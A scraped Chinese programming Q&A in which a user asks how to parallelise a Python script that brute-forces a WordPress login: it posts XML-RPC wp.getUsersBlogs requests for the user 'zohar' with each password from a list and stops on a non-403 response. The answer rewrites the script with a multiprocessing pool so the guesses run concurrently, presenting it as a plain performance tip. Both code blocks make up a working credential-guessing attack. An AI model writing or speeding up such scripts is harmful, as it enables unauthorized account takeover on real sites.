Python 请求模块多线程



有没有办法使用多处理接口来加速我的代码? 我有包含密码的数据数组,我想运行一些请求。

import requests
data = ['test','test1','test2']
counter=0

for  x in data:
counter+=1
burp0_data = "<methodCall>rn<methodName>wp.getUsersBlogs</methodName>rn<params>rn<param> 
<value>zohar</value></param>rn<param><value>"+x+"</value> 
</param>rn</params>rn</methodCall>rn"
s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if not (s.text.__contains__("403")):
print(s.text)
print(x)
exit()

Python 多处理模块就是你要找的。例如,它有一个并行映射函数,它将异步运行所有请求。以下是您的代码大致的样子:

import requests
from multiprocessing import Pool
def post(x):
burp0_data = "<methodCall>rn<methodName>wp.getUsersBlogs</methodName>rn<params>rn<param> 
<value>zohar</value></param>rn<param><value>"+x+"</value> 
</param>rn</params>rn</methodCall>rn"
s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if not (s.text.__contains__("403")):
return s.text, x
return None, None
if __name__ == '__main__':
data = ['test','test1','test2']
counter=0
with Pool(processes=len(data)) as pool:
results = pool.map(post, data, 1)
for res in results:
if res[0] is not None:
print(res[0])
print(res[1])
exit()

有关更多信息,请参阅有关多处理的 Python 文档。

相关内容

  • 没有找到相关文章

最新更新